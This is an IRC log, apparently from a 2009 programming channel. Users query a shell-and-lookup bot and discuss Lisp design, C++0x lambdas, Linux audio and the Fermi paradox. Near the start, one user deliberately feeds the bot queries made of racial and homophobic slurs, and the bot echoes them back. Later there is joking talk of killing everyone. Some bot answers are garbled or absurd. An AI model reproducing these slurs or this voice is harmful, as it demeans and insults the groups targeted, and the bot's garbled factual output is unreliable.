22:14:30 <GregorR> pikhq: Stack unless there's reason for it to be elsewhere.
22:14:40 <GregorR> (i.e. you're mid-operation)
22:16:22 <ehird> `calc number of faggots in a nigger butt
22:16:23 <HackEgo> www.urbandictionary.com/define.php?term=+nigger+faggot - [19]Similar
22:16:27 <ehird> `wolfram number of faggots in a nigger butt
22:16:40 <ehird> `wolfram number of faggots in a faggot
22:16:47 <HackEgo> number of faggots in a faggot Input interpretation: convert 1 faggot to faggots Result: 1 faggot Additional conversions: 0.027 m3 cubic meters Comparisons: (6 10 4 to 0.0014) twenty foot equivalent unit 680 to 1520 ft3 Interpretation: volume Basic unit dimensions: 3 length Generated by Wolfram|Alpha (www.wolframalpha.com)
22:17:04 <ehird> `wolfram faggots per second in miles per second
22:17:11 <HackEgo> faggots per second in miles per second \ \ Input interpretation: \ \ convert 1 faggots s faggot per second to miles per second \ Result: \ \ faggots s faggots per second and mi s miles per second are not compatible. \ \ Unit information: \ \ unit \ faggots s faggots per second \ \ dimensions length time length \ 3 \ \
22:17:21 <ehird> `wolfram speed of light in faggots per second
22:17:28 <HackEgo> speed of light in faggots per second \ \ Input interpretation: \ \ convert 1 c speed of light in vacuum to faggots per second \ Result: \ \ c speed of light in vacuum and faggots s faggots per second are not compatible. \ \ Unit information: \ \ unit \ c speed of light in vacuum \ \ dimensions length time length \ 3 \ \
22:17:38 <augur> ehird: are you trying to understand what you're equivalent to in normal units of measure?
22:17:40 <augur> because it wont work.
22:18:04 <ehird> `wolfram 1 au in beardseconds
22:18:10 <HackEgo> 1 au in beardseconds \ \ Input interpretation: \ \ convert 1 AU astronomical unit to beard seconds Nordling and Österman convention \ Result: \ \ 2.99195741383 1019 beard seconds Nordling and Österman convention \ Additional conversions: \ \ 1.49597870692 108 km kilometers \ Interpretation: \ \ length \ Corresponding
22:18:35 <GregorR> `wolfram poorest countries in asia
22:18:41 <HackEgo> poorest countries in asia \ \ Input interpretation: \ \ poorest country in Asia \ \ Result by GDP per capita: \ \ 1 2 3 4 5 \ \ Myanmar Afghanistan Nepal Tajikistan East Timor \ \ $216.50 per year $217.79 per year $273.19 per year $359.97 per year $374.21 per year \ \ Generated by Wolfram|Alpha (www.wolframalpha.com)
22:18:58 <AnMaster> GregorR, is HackEgo some variant of EgoBot?
22:19:19 <ehird> `wolfram deaths / world gdp
22:19:27 <HackEgo> deaths world gdp \ \ Input interpretation: \ \ world \ \ annual deaths GDP \ \ world \ Result: \ \ 1.212 10 \ History: \ \ 6 \ \ people $ people per US dollar \ \ 2006 estimate \ \ prune`result \ Currency conversions: \ \ JPY EUR GBP CNY CAD MXN \ \ 1.252 10 1.697 10 1.997 10 1.766 10 1.07 10 \ 6 \ \ 8 8 8 7 \ \
22:19:29 <GregorR> It's like EgoBot's !sh, but with a persistent data storage area.
22:19:43 <ehird> GregorR: That result is totally useless compared to the online one
22:19:57 <GregorR> ehird: My lack of interest is palpable :P
22:20:21 <ehird> GregorR: But it gets the result completely wrong. "1.212 10" != "1.212 x 10^-6 people/$"
22:20:32 <GregorR> ehird: My lack of interest is palpable :P
22:21:11 <ehird> Then I'm not sure why
22:21:39 <HackEgo> * capable of being perceived; especially capable of being handled or touched or felt; "a barely palpable dust"; "felt sudden anger in a palpable ... \ * can be felt by palpation; "a palpable tumor" \ [15]wordnet.princeton.edu/perl/webwn
22:22:08 <GregorR> ehird: I'm sorry that your particular pet function doesn't come across properly. Where by "sorry" I mean "I don't care"
22:22:30 <AnMaster> seems a bit too many as separators
22:22:45 <AnMaster> GregorR, what about converting that into | or something
22:22:51 <coppro> `wolfram The Answer to the Ultimate Question
22:22:56 <HackEgo> The Answer to the Ultimate Question \ \ Input interpretation: \ \ answer to life, the universe, and everything \ Result: \ \ 42 \ according to Douglas Adams' humorous science fiction novel Hitchhiker ' s Guide to the Galaxy \ \ Generated by Wolfram|Alpha (www.wolframalpha.com) on June 20, 2009 from Champaign, IL. © Wolfram
22:23:08 <GregorR> <*> GregorR: Anything you implement is insufficient in some whiny and ridiculous way!
22:23:34 <AnMaster> GregorR, I think it is currently great, but could be even better
22:24:12 <oerjan> `run echo 'cat >/dev/null' > bin/GregorR
22:24:46 <GregorR> You realize it's not chmod 0755, right? :P
22:25:00 <oerjan> `run ls -l bin/GregorR
22:25:00 <HackEgo> -rw-r--r-- 1 5000 5000 15 Jun 20 21:25 bin/GregorR
22:25:17 <oerjan> `run chmod a+x bin/GregorR
22:25:22 <oerjan> `run ls -l bin/GregorR
22:25:22 <HackEgo> -rwxr-xr-x 1 5000 5000 15 Jun 20 21:25 bin/GregorR
22:25:23 <AnMaster> GregorR, anyone can run such commands?
22:25:34 <GregorR> AnMaster: wget is limited to certain whitelisted URLs.
22:25:48 <GregorR> AnMaster: `fetch will download any URL, but isn't scriptable.
22:26:03 <AnMaster> GregorR, what urls are white listed
22:26:15 <HackEgo> GregorR \ addquote \ calc \ define \ esolang \ google \ imdb \ quote \ wolfram
22:26:23 <GregorR> .google.com .esolangs.org .imdb.com .wikipedia.org .wolframalpha.com
22:26:44 <AnMaster> GregorR, does it do system() or execute them in a shell
22:26:45 <GregorR> Use `run to get shell expansion. Without `run it's interpreted literally, so that things like `addquote will work.
22:27:13 <GregorR> Otherwise `addquote <GregorR> hi would try to input GregorR to addquote :P
22:27:32 <AnMaster> GregorR, with output sent to hi
22:27:54 <HackEgo> /tmp/hackenv.14507/bin:/usr/bin:/bin
22:28:44 <AnMaster> GregorR, could you white list kernel.org?
22:29:07 <GregorR> If you give me a reason? :P
22:29:29 <AnMaster> GregorR, easier to download a kernel tarball from it and compile a kernel over irc :P
22:29:46 <GregorR> It has time and file size limits, so that would never even begin to work :P
22:29:58 <AnMaster> GregorR, GET A BETTER CPU THEN
22:30:07 <AnMaster> to make it possible in the time limit
22:30:24 <GregorR> Compiling a kernel in 30 seconds would be BITCHIN' SWEET :P
22:30:45 <AnMaster> pikhq, it can't compile the kernel afaik
22:30:55 <GregorR> AnMaster: It can compile the kernel /while you boot/
22:30:55 <ehird> AnMaster: Yes, it can.
22:30:57 <AnMaster> because all it does is basic constant folding
22:30:59 <ehird> It does it in like 15 seconds.
22:31:10 <ehird> http://bellard.org/tcc/tccboot.html
22:31:16 <ehird> TCCBOOT is only 138 KB big (uncompressed code) and it can compile and run a typical Linux kernel in less than 15 seconds on a 2.4 GHz Pentium 4.
22:31:25 <AnMaster> ehird, iirc it failed on "kernel didn't know compiler specific header" or something
22:31:34 <ehird> AnMaster: Tell that to tccboot?
22:31:50 <AnMaster> so how does tccboot extend it hm
22:31:52 <ehird> Tccboot uses normal tcc.
22:31:56 <ehird> It's written by the tcc author.
22:31:58 <ehird> This is in 2004, though.
22:32:04 <GregorR> tccboot uses a disputably small patch to the kernel.
22:32:07 <AnMaster> was about half a year ago I tried
22:32:51 <AnMaster> ehird, tccboot uses 2.4 kernel
22:32:59 <ehird> AnMaster: Because it was made in 2004.
22:33:15 <AnMaster> ehird, yes, but I was talking about the current state of matters
22:36:55 <Warrigal> `wolfram melting point of apples
22:37:01 <HackEgo> melting point of apples \ \ Input interpretation: \ \ apples \ Result: \ \ melting point \ \ 29.3 °C degrees Celsius \ Unit conversions: \ \ 302.5 K kelvins \ Thermal properties: \ \ melting point optimal storage temperature specific heat \ \ 29.3 °C 1.5 °C 3.64 J g °C \ \ Generated by Wolfram|Alpha (www.wolframalpha.com)
22:37:55 <HackEgo> 29.3 degrees Celsius = 84.74 degrees Fahrenheit
22:38:24 <AnMaster> all forms of time limits should be abolished
22:38:26 <oerjan> the quality of apples is not what it used to be
22:38:32 <HackEgo> full name of Jesus \ \ Input interpretation: \ \ Jesus Christ \ Result: \ \ full name \ \ Yeshua Ha Nozri \ \ Generated by Wolfram|Alpha (www.wolframalpha.com) on June 20, 2009 from Champaign, IL. © Wolfram Alpha LLC—A Wolfram Research Company \ \ 1 \ \
22:38:43 <AnMaster> I realise this isn't done over a night
22:38:57 <ehird> AnMaster: what are you talking about
22:39:01 <Warrigal> How many of us here knew that his full name was Yeshua Ha Nozri?
22:39:01 <AnMaster> but in the long term they should be
22:39:16 <ehird> AnMaster: you're on crack
22:39:24 <oerjan> AnMaster: well no one cares about abolishing time limits in the _short_ term anyway *ducks*
22:39:58 <oerjan> Warrigal: i guess Nozri means "from Nazareth"...
22:40:46 <ehird> Ha Nozri means that.
22:40:56 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
22:41:42 <oerjan> google points to Bulgakov's The Master and Margarita
22:43:23 <AnMaster> to begin with, abolish time limits like those for tests in schools, or for payment of invoices and such. Those are easy. In the future we ("we": humans in general) aim to abolish time limits like the life span of humans (immortality in other words), having to go to bed/wake up, (stop earth's rotation, let people move across the "border" of the day/night when they wanted, note: you need to solve the cl
22:43:23 <AnMaster> imate impact somehow too), and the heat death of the universe.
22:43:48 <oerjan> it does not occur in wp's Jesus article
22:44:07 <GregorR> If it's not on the Oracle, it's not Truth.
22:44:07 <AnMaster> oerjan, just add it and cite W|A?
22:44:16 <ehird> AnMaster: so what is your justification for this mad rant?
22:44:30 <ehird> I do like the idea of abolishing time limits for the payment of invoices.
22:44:38 <ehird> It's like a credit card without the payment step!
22:44:49 <ehird> Wooooooooooohoooooo
22:44:56 <ehird> [the economy promptly collapses]
22:45:10 <AnMaster> ehird, isn't it doing that already anyway
22:45:25 <ehird> Yes, but I'm fairly sure the solution isn't "make everything free".
22:45:29 -!- ais523 has quit (Remote closed the connection).
22:45:32 <oerjan> AnMaster: it's not even in the Yeshua (name) article
22:45:41 <oerjan> so the nozri part may be dubious
22:45:49 <AnMaster> ehird, it will definitely get the job done quicket
22:45:57 -!- ais523 has joined.
22:46:02 <ehird> AnMaster: so why do you want to do all this crazy stuff?
22:46:25 <AnMaster> ehird, of course this mean you don't know when the stuff you ordered will be delivered either
22:46:40 <AnMaster> UPS doesn't have a time limit either
22:46:50 <ehird> AnMaster: So basically you want the entire world to collapse?
22:47:23 <AnMaster> ehird, for UPS you wouldn't notice the difference I think
22:47:48 <ehird> I have my own rant.
22:47:59 <ehird> All life should be erased, not overnight of course.
22:48:03 <ehird> How this could be done: Kill everyone.
22:48:14 <AnMaster> ehird, that is another way to do it
22:48:50 <AnMaster> ehird, Together we shall destroy the world!
22:49:08 <oerjan> the project is already underway. problem is those pesky critters keep breeding faster than Death can remove them
22:49:46 <AnMaster> oerjan, nuclear weapons will fix that. Of course, they might take an unknown time to deploy
22:50:41 <oerjan> it will soon be reseeded, surely
22:50:53 <AnMaster> oerjan, um? I said in the whole universe in the long term
22:51:06 -!- pikhq has joined.
22:51:15 <AnMaster> when I mentioned the heat death of the universe
22:51:27 <oerjan> hah, the hardy ones in outer space don't care about a bit of radiation
22:52:22 -!- Halph has joined.
22:53:03 -!- coppro has quit (Nick collision from services.).
22:53:04 <oerjan> and for the heat death method, you'll have to prevent them from escaping to a new universe. crushing all signs of intelligence might help there.
22:53:27 -!- Halph has changed nick to coppro.
22:54:51 <pikhq> http://esoteric.voxelperfect.net/wiki/Perl
22:56:03 <HackEgo> We'll write more about Perl after we decipher the following code:
22:57:36 -!- Halph has joined.
22:57:46 -!- coppro has quit (Nick collision from services.).
22:57:52 -!- Halph has changed nick to coppro.
23:00:06 <ehird> also, i believe entropy can be reversed; am I bonkers?
23:00:24 <Slereah_> ehird : Entropy isn't a real law
23:00:25 <pikhq> Hi there, Multivac.
23:00:52 <ehird> what I meant was that I believe that in time, we can make this universe habitable indefinitely
23:01:51 <Slereah_> Nah, I don't think we can do it that way
23:01:59 <Slereah_> What we can do is find INFINITE ENERGY and shit
23:02:17 <ehird> Slereah_: but infinite energy is another fuck you to the first law of thermodynamics :P
23:02:20 <Slereah_> Just steal usable energy from other universes!
23:02:30 <ehird> Slereah_: infinite energy doesn't prevent the universe dying as far as I know, though
23:02:43 <coppro> Slereah_: then we get alternate universe people coming through to complain
23:05:27 <GregorR> I'm trying to think of something dirty along the lines of "Increase the entropy o' that bitch" but it's just not working.
23:06:01 <Slereah_> Oh yeah, take that number of microstates
23:07:55 <oerjan> http://www.webcomicsnation.com/shaenongarrity/narbonic/series.php?view=archive&chapter=13510 (fourth strip)
23:08:33 <oerjan> it's a bit slow to load
23:09:18 <ehird> If time travel is possible, we can probably just time travel to the first point in time where shit's cool in the universe and kick back, relax, and stop other life from forming.
23:09:50 <oerjan> hm... maybe we already did
23:09:59 <oerjan> that _would_ explain the fermi paradox
23:10:30 <ehird> Fermi paradox is quite stupid. Uhh, speed of light, anyone?
23:11:12 <Slereah_> Fermi's paradox is based on the idea that alien civilisation are willing to launch extensive interstellar space programs with no return in their lifetime
23:11:28 <Slereah_> Or possibly in the lifetime of their civilisation
23:12:23 <oerjan> well, that a fraction of them are
23:13:15 <ehird> oerjan: we don't see alien shit because alien shit is far too far away
23:14:40 <oerjan> the paradox is not just about why we cannot see them. it's about why don't we see them _here_
23:15:10 <oerjan> for which Slereah_'s question is relevant
23:15:35 <ehird> oerjan: i don't get what you mean
23:15:49 <ehird> what's odd about aliens being really fucking far away from us
23:16:13 <oerjan> ehird: the size of the galaxy is no obstacle for a sufficiently patient civilization. they could colonize it in a few million years
23:16:42 <ehird> oerjan: there's nothing to say that they should be motivated and finished _now_, though
23:16:55 <ehird> come back in a few billion years. it's a big, big space and not a lot of shit in it.
23:18:04 <oerjan> ehird: the assumption is that unless we are really one of the very first civilizations, others would _already_ have arisen billions of years ago
23:18:27 <ehird> oerjan: yes, but add the factors of "gigantic space, large distances separation, and motivation"
23:18:36 <ehird> and it's not at all unlikely that we don't see alien shit.
23:18:46 <oerjan> then add population growth
23:18:58 <ehird> i don't get why it's so odd.
23:19:25 <oerjan> it's not odd that _some_ civilization wouldn't expand. it's odd that _none_ would, if there were many
23:20:12 <ehird> oerjan: think about how uncommon life probably is, though
23:20:12 <oerjan> and if one of them _has_ an intrinsic drive to expand, they should fill the entire galaxy in a few million years
23:20:46 <oerjan> sure, that is one solution to the fermi paradox, to say that life is so rare that we're alone in the galaxy and then some
23:21:25 <GregorR> Y'know what's annoying? When things that are not paradoxes are called paradoxes.
23:21:30 <ehird> life just isn't so insanely common that it's unlikely that none of them conquer everywhere
23:21:31 <GregorR> e.g. Fermi "paradox", twin "paradox"
23:21:39 <ehird> GregorR: Birthday "paradox", curry's "paradox".
23:21:43 <ehird> There are two kinds of paradox.
23:21:54 <GregorR> "Weird shit" is not a correct definition of paradox.
23:21:58 <GregorR> It's a misuse of the term.
23:22:08 <ehird> Go complain to everyone for hundreds of fuckin' years.
23:22:14 <Slereah_> Well, paradox is kinda ill defined
23:23:38 <HackEgo> * (logic) a statement that contradicts itself; "`I always lie' is a paradox because if it is true it must be false" \ [22]wordnet.princeton.edu/perl/webwn \ * Paradox is the fourth studio album released by Royal Hunt.
23:23:48 -!- jix_ has joined.
23:23:55 <ais523> ugh, that's a really bad example
23:23:58 <ais523> due to not being paradoxical
23:24:07 <ais523> I could falsely, but non-paradoxically, claim that I always lie
23:24:14 <ais523> because I have told the truth at least once
23:24:22 <GregorR> "This is a lie" is a better one.
23:24:38 <GregorR> (Or "this statement is false" to be a bit more formal)
23:25:23 <ais523> If I'm not mistaken, then this sentence is paradoxical.
23:25:35 <Slereah_> THE FOLLOWING SENTENCE IS TRUE
23:25:40 <Slereah_> THE PREVIOUS SENTENCE IS FALSE
23:27:07 <pikhq> Y'know, it's funny how corny sci-fi seems to think that will lock up a robot or computer...
23:27:32 <GregorR> MUST FULLY RESOLVE ALL STATEMENTS GIVEN AS INPUT
23:27:38 <oerjan> Now why would they think that that that that that that that that
23:27:43 <pikhq> Shame computers don't do formal logic. Or even informal logic, really. :P
23:29:50 <ehird> pikhq: Sure they do formal logic.
23:30:00 <ehird> Curry-Howard isomorphism, anyone?
23:30:04 <GregorR> Shame computers don't taste like chicken.
23:30:43 <Slereah_> What if the computer runs on Mercury?
23:31:09 <Slereah_> What's the most used language in AI research anyway, apart from homecooked ones?
23:31:55 <ehird> GregorR: That's a bit of a cliché.
23:32:02 <ehird> Slereah_: AI research is, uh, nonexistent nowadays.
23:32:50 <Warrigal> "The sky is red" is a paradox because if it is true it must be false.
23:33:19 <pikhq> bool foo(function x){return x() == true;} bool bar(function x){ return x() == false;} int main(){assert(foo(bar));}
23:34:29 <pikhq> I do believe that the result of *that* mess is "Segmentation fault -- core dumped."
23:35:01 -!- jix has quit (Read error: 110 (Connection timed out)).
23:35:36 <pikhq> No, no. It'd just fail.
23:35:49 <pikhq> s/x()/x(foo)/ s/x()/x(bar)/
23:37:23 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
23:39:05 -!- BeholdMyGlory has quit (Remote closed the connection).
23:51:10 <AnMaster> pikhq, yeah, they aren't tail calls
23:51:40 <AnMaster> (that is, assuming your correction)
23:51:55 <AnMaster> (and a relevant typedef for "function"
23:52:03 * ehird devises more of his Semi-Perfect Language For Now ^_^
23:52:23 <AnMaster> pikhq, actually the type of function would have to be a non-prototyped function
23:52:55 <AnMaster> you can't express a recursive typedef in C
23:53:26 <AnMaster> or one taking a non-prototyped function
23:53:52 <ehird> AnMaster: a new lisp.
23:55:55 <ehird> GregorR: You mean lithp.
23:58:39 <pikhq> AnMaster: "Relevant typedef"? That's just C++0x.
23:58:59 <pikhq> (in C++0x, functions are of type function. Neat, huh?)
23:59:44 <ehird> Not well-typed, yes.
00:00:21 <ehird> Hrmph. The main problem with my new lisp is that oh-so-superficial of follies, syntax.
00:01:14 <ehird> pikhq: But of course; that is, however, not as deep as syntax goes.
00:01:23 <coppro> What do you mean by "functions are of type function"?
00:01:31 <ehird> Indeed, the structure of the lists you use in your special forms and macros are part of a Lisp's syntax.
00:01:47 <pikhq> coppro: I may just be wrong.
00:01:57 <coppro> well it depends on what you mean
00:02:05 <ehird> pikhq: And sexps can be extended to great effect; some code I have futzed with got a lot cleaner by making x.y shorthand for (y-of x).
00:02:10 <pikhq> But... C++0x did some fiddling to get first-class functions in C++.
00:02:26 <coppro> well they added lambdas
00:02:31 <coppro> functions themselves haven't changed
00:02:34 <ehird> Combined with !-assignment, (! point.x (+ point.y 33)) is a lot nicer than (! (x-of point) (+ (y-of point) 33)).
00:02:38 <coppro> lambdas are just struct types
00:02:48 <ehird> pikhq: So there ;)
00:02:50 <pikhq> Curses. Guess I'm going to have to do everything with lambdas, then. :P
00:03:05 <coppro> They've also added bind though
00:03:27 <pikhq> function x = [](){return 42;}; // FTW.
00:03:36 <coppro> so you can do auto f = bind(function, arg1, _1, arg2);, and then f(arg) would be function(arg1, arg, arg2)
00:03:55 <ehird> coppro: "bind"? What a retarded name; "apply-partially" would be more appropriate.
00:04:05 <coppro> ehird: it's a Boost library
00:04:12 <coppro> based on the old binders
00:04:18 <coppro> in the standard library
00:04:26 <ehird> Oh, by the way. Yesterday, you guys know I was defending PulseAudio/ALSA?
00:04:32 <coppro> and I don't see why bind is bad; you are binding an argument to a function
00:05:41 <ehird> http://insanecoding.blogspot.com/2009/06/state-of-sound-in-linux-not-so-sorry.html has converted me to a new religion: OSS v4. Open source, modern, nice API, extremely low latency, compatible with OSS v3, more accurate sound than ALSA, and ALSA's API can output to OSS for applications only supporting it.
00:06:04 <pikhq> ... "More accurate sound"?
00:06:07 <ehird> I never thought I'd say "OSS is awesome!" :-)
00:06:12 <ehird> pikhq: better floating point calculations
00:06:23 <ehird> a very vague way of saying that indeed, but still
00:06:32 <pikhq> That is... Unlikely.
00:06:36 <ehird> pikhq: "OSS sound mixing is of higher quality than ALSA's, due to OSS using more precise math in its sound mixing."
00:06:51 <pikhq> What, does ALSA use x87 for its floating point calculations?
00:07:09 <ehird> pikhq: I get the idea that OSS's calculations more carefully avoid rounding errors, etc.
00:07:19 <ehird> But whatever, the other points stand anyway.
00:08:25 <oerjan> CPAM CPAM BOHDERFYL CPAM
00:08:38 <ehird> Spam, spam, bohderfyl cpam.
00:09:14 * ehird futzes happily with examples in his hypothetical lisp ^_______^
00:09:25 <ehird> 'Tis the fun of dreams.
00:10:04 <ehird> Especially making the advantages of multiple-dispatch possible without the braindeadedinessy of OO.
00:12:05 <ehird> *random chemistry set explodes*
00:12:09 <ehird> The perils of being a proglanger.
00:13:15 <ehird> Glanging is kick-fucking-ass.
00:13:47 <ehird> (def factorial (n)
00:13:47 <ehird> (product (range n)))
00:13:48 <ehird> ;; smells like haskell.
00:15:27 <coppro> What I'd really like is functional (as in, working) multiple dispatch in C++
00:15:56 <ehird> What I'd really like is for C++ to die forever.
00:19:49 <Gracenotes> multiple dispatch isn't all it's cracked up to be.
00:20:17 <coppro> Agreed, it's not necessary, but it would certainly be nicer than, say, the Visitor pattern
00:20:24 <Gracenotes> until you need it, anyway >_> But there are often simpler ways to model the problem
00:20:59 <ehird> GregorR: Multiple dispatch is simply superior to single dispatch; it is not always needed, it is not a panacea, and indeed, you can hack a solution using other ways.
00:21:15 <ehird> Gracenotes: But it is more general than single dispatch, and useful in cases.
00:21:26 <Gracenotes> still, good point. As I say, design patterns begin where a language's built-in abstractions end
00:21:26 <ehird> Gracenotes: Therefore, using single dispatch instead is not a good decision.
00:21:37 <ehird> You did not invent that idea ;)
00:21:54 <Gracenotes> well. I independently invented the quote >_>
00:21:57 <ehird> Meh. Even a naive compiler is fast enough for like 90% of things.
00:22:06 <ehird> A naive interpreter, say 40-60%.
00:22:11 <ais523> Gracenotes: by implication, a language which was well enough written would have no design patterns
00:22:35 <oerjan> just don't send your naive interpreter into a dark alley
00:22:48 <Gracenotes> ais523: but it would be incredibly crippled in other ways
00:23:04 <ehird> A perfect language requires no patterns or idioms because there is no repetition; all problems are expressed as their exact problem statement with no baggage.
00:23:14 <ehird> Therefore, no design patterns are required.
00:23:26 <ehird> This is an impossible utopia, of course.
00:23:26 <Gracenotes> of course, near by definition, syntax is a pattern
00:23:36 <GregorR> Alternatively, a language which is well-written would have /no/ inbuilt patterns but make implementing them trivial, compatible and beautiful.
00:23:47 <ehird> GregorR: Design patterns are, by definition, not implemented.
00:23:52 <ehird> They are conventions.
00:23:54 -!- coppro has quit ("new plugins").
00:24:00 <GregorR> Erm, not quite what I meant ...
00:24:26 <GregorR> The reason a good language would have no design patterns is that the language would be written such that things -- oh, never mind, I don't care :P
00:25:15 <Gracenotes> hm. Haskell typeclasses -- they may not themselves be a pattern, but because they precisely define structures, implementing patterns can become built-in as implementing classes
00:25:37 <GregorR> That was closer to what I was trying to say.
00:25:43 -!- coppro has joined.
00:26:01 <ehird> that's not a design pattern
00:26:09 <ehird> an abstracted pattern is not
00:26:12 <Gracenotes> but even typeclasses are limited for not-so-precisely defined structures
00:26:24 <lament> Gracenotes: haskell typeclasses are not too dissimilar from interfaces in OO languages
00:27:09 <Gracenotes> lament: yes, but while interfaces describe objects, typeclasses still better describe structures
00:27:42 <lament> i'm not sure of the difference between "objects" and "structures"
00:28:36 <oerjan> well objectively they are similar, but there are some structural differences
00:28:55 <ehird> lament: objects hide their data and expose operations, structures share their data and have no operations
00:29:29 <lament> those structures sound nothing like haskell's data types
00:29:41 <lament> given that the whole point of type classes is to expose operations
00:30:02 <Gracenotes> regardless of the principles we read or don't read into them, in terms of implementation interfaces and typeclasses have dictionaries, etc.
00:30:11 <ehird> lament: typeclasses are separate from the structures
00:33:12 <Gracenotes> lament: interpret 'structures' as you wish, but to me it seems that typeclasses better codify relationships between types, and the structure that certain types have that allow this
00:33:57 <ehird> Bah, I wish adding laziness to a Lisp wasn't ugly.
00:34:31 <Gracenotes> of course interfaces don't do a terrible job either, but both have their strengths and weaknesses (typeclasses mostly are problematic for complicated interactions between them, like open recursion)
00:35:13 <Gracenotes> but they sure have a nice internal representation
00:35:31 <lament> if haskell has any additional expressive power over OO languages, it's in parametric types, not in type classes
00:35:47 <lament> parametric types including parametric type classes
00:37:10 <ehird> The author believes 3D is Turing-complete, but isn't quite sure. He thinks the following program may prove it:
00:37:10 <ehird> RIGHT ADD 0 1 INT DOWN
00:37:14 <ehird> It's an infinite loop, every time adding 1 to INT0, and setting INT(INT0) to 16. So this would set INT1 to 16, INT2 to 16, INT3 to 16, until infinity.
00:37:17 <ehird> turing completeness fail
00:39:41 <ais523> programs that do that sort of thing don't prove TCness
00:39:45 <ais523> but they do make it seem more likely
00:41:11 <ehird> (def relevant-primes (take-while (fn (p) (<= (^ p 2) n)) primes))
00:41:13 <ehird> (not (any (fn (p) (= (modulo n p) 0))))
00:41:17 <ehird> (lazy-cons 2 (filter prime? (infinite-range 3 :step 2))))
00:42:13 <ais523> ehird: mutual recursion?
00:42:17 <ehird> (def relevant-primes (take-while (fn (p) (<= (^ p 2) n)) primes))
00:42:19 <ehird> (not (any (fn (p) (= (modulo n p) 0)) relevant-primes))
00:42:25 <ehird> (lazy-cons 2 (filter prime? (infinite-range 3 :step 2))))
00:42:40 <ais523> also, why specifically specify lazy-cons?
00:42:41 <ehird> ais523: it's a lazy list based on a function which looks at the lazy list
00:42:47 <ais523> is there a reason not to have it lazy by default?
00:42:52 <ehird> ais523: because my language is not lazy.
00:42:57 <ehird> lazy conses will be a library
00:43:03 <ehird> although likely in the stdlib
00:43:19 <ehird> ais523: lazy-cons is of course a macro, to avoid evaluating the second argument
00:43:24 <ais523> I rather like Perl6's lazy-when-you-can't-tell-it-from-eager-except-by-the-way-it-doesn't-get-into-an-infinite-loop
00:43:37 <ehird> anyway, it's a translation of this haskell:
00:43:41 <ehird> isprime n = not . any (\p -> mod n p == 0) . takeWhile (\p -> p^2 <= n) $ primelist
00:43:41 <ehird> primelist = 2 : [p | p <- [3,5..], isprime p]
00:43:54 <ehird> which is shorter, true, but mine is also short and just as readable
00:44:40 <ehird> i do wonder if not.any should be "none", though, and if perhaps (= (modulo x y) 0) should have its own name
00:44:48 <ehird> (divisible? x y), for instance
00:44:54 <ehird> also, any should have a question mark
00:45:02 -!- jix_ has quit ("leaving").
00:45:14 <ehird> (def relevant-primes (take-while (fn (p) (<= (^ p 2) n)) primes))
00:45:16 <ehird> (none? (fn (p) (divisible? n p) relevant-primes))
00:45:22 <ehird> (lazy-cons 2 (filter prime? (infinite-range 3 :step 2))))
00:45:57 <ehird> (def relevant-primes (take-while (fn (p) (<= (^ p 2) n)) primes))
00:45:58 <ehird> (none? (fn (p) (divisible? n p)) relevant-primes))
00:46:04 <ehird> (lazy-cons 2 (filter prime? (infinite-range 3 :step 2))))
00:46:06 <ehird> had my parens wrong :-)
00:47:51 <ehird> perhaps (divisible? a b) is not common because it mainly appears in toy problems. i use it quite often, though
00:58:49 <Gracenotes> hm. common lisp uses applicative evaluation order, right? and is strict?
00:59:13 <Gracenotes> or undefined argument evaluation order?
01:00:16 <oerjan> definitely strict, at least
01:01:36 <ehird> Gracenotes: it's strict. unsure about the other.
01:01:45 <ehird> Gracenotes: CL is very much not a functional language
01:02:07 <ehird> (def relevant-primes (take-while (fn (p) (<= (^ p 2) n)) primes))
01:02:07 <ehird> (none? (fn (p) (divisible? n p)) relevant-primes))
01:02:09 <ehird> ↑ it occurs to me that without fancy lazy trickery, this is more complex, time-wise, than needs be
01:04:34 <ehird> Gracenotes: oerjan: poll (a) make lazy lists fancy and lazy (but normal lists could be too and BAH), (b) make that implementation a little less naive, (c) it doesn't matter, that algorithm sucks anyway!
01:05:33 <Gracenotes> any prime algorithm that directly checks divisibility arguably sucks :P
01:05:47 <ehird> it's incredibly naïve
01:05:55 <ehird> but it's naïve in a way that's a trivial implementation detail, too
01:05:59 <ehird> otoh, it's clearer that way
01:07:29 <ehird> A friend, on that algorithm:
01:07:31 <ehird> "Well, rt 401 ~ 20, so we'll start at the bottom and go up to 20."
01:07:33 <ehird> "'okay. Does two divide it?"
01:07:37 <ehird> "Alrighty then. ...what's the next prime after two?"
01:07:39 <ehird> "...I don't know."
01:07:43 <ehird> "Well, rt 3 ~ 1.732, so we'll start from ...okay, yes, it must be."
01:07:45 <ehird> "Cool. Does three divide 401?"
01:07:49 <ehird> "...okay, so what's next?"
01:10:18 <Gracenotes> not the only dialogue written about it
01:10:40 <Gracenotes> #2, http://www.haskell.org/haskellwiki/Humor/Dialogs :)
01:10:51 <ehird> But he isn't a programmer, and came up with it impromptu in a few seconds, and I liked it, so nyah :P
01:11:40 <Gracenotes> heh. well, to be fair, dialogue #2 is written about the mutually recursive primes definition
01:12:01 <Gracenotes> (which, as someone wrote a paper about, may have worse performance than naive algorithm).
01:12:53 <ehird> The sieve that can be attained is not the true sieve.
01:16:08 <ehird> Oh, and for the record.
01:16:11 <ehird> (def infinite-range (start &kw (step 1))
01:16:11 <ehird> (lazy-cons start (infinite-range (+ start step))))
01:17:55 <augur> wtf is this common list shit
01:18:02 <ehird> augur: lisp, not common lisp
01:18:08 <ehird> augur: a new dialect. and why?
01:19:13 <ehird> augur: A hypothetical one I'm making.
01:19:30 <augur> i have never liked the (def foo (a b) ...) structure
01:19:47 <ehird> augur: Eh, I'm not too attached to it or (def (foo a b) ...) much.
01:19:56 <ais523> oerjan: for some reason I never use spaces when currying operators like that
01:20:29 <augur> i just prefer (def (foo a b) ...) because it mirrors the function call
01:20:52 <ais523> augur: do you like C declarations too?
01:20:55 <ais523> because they mimic their uses?
01:21:11 <ehird> ais523: false dichotomy
01:21:25 <ais523> that wasn't a dichotomy, that was a question
01:21:45 <ehird> ais523: you're implying that all use-mimicing definitions must be as much of a clusterfuck as C
01:21:48 <augur> ais523: i dont mind them.
01:21:55 <augur> int foo(x, b) { ... } isnt so bad.
01:21:57 <ais523> I didn't mean to; I was wondering
01:22:43 <ehird> i read it like that, though
01:26:11 <ehird> augur: anyway, when my dialect is taking over the world, you will not say the gtfo you do ! ha ha !!
01:27:33 <augur> will i also not speak proper english or is that something only you will do?
01:27:58 <Gracenotes> hmm. Results 1 - 10 of about 5,330 for "false trichotomy" <via google>
01:28:00 <ehird> I didn't preserve the step in my infinite-range, oops:
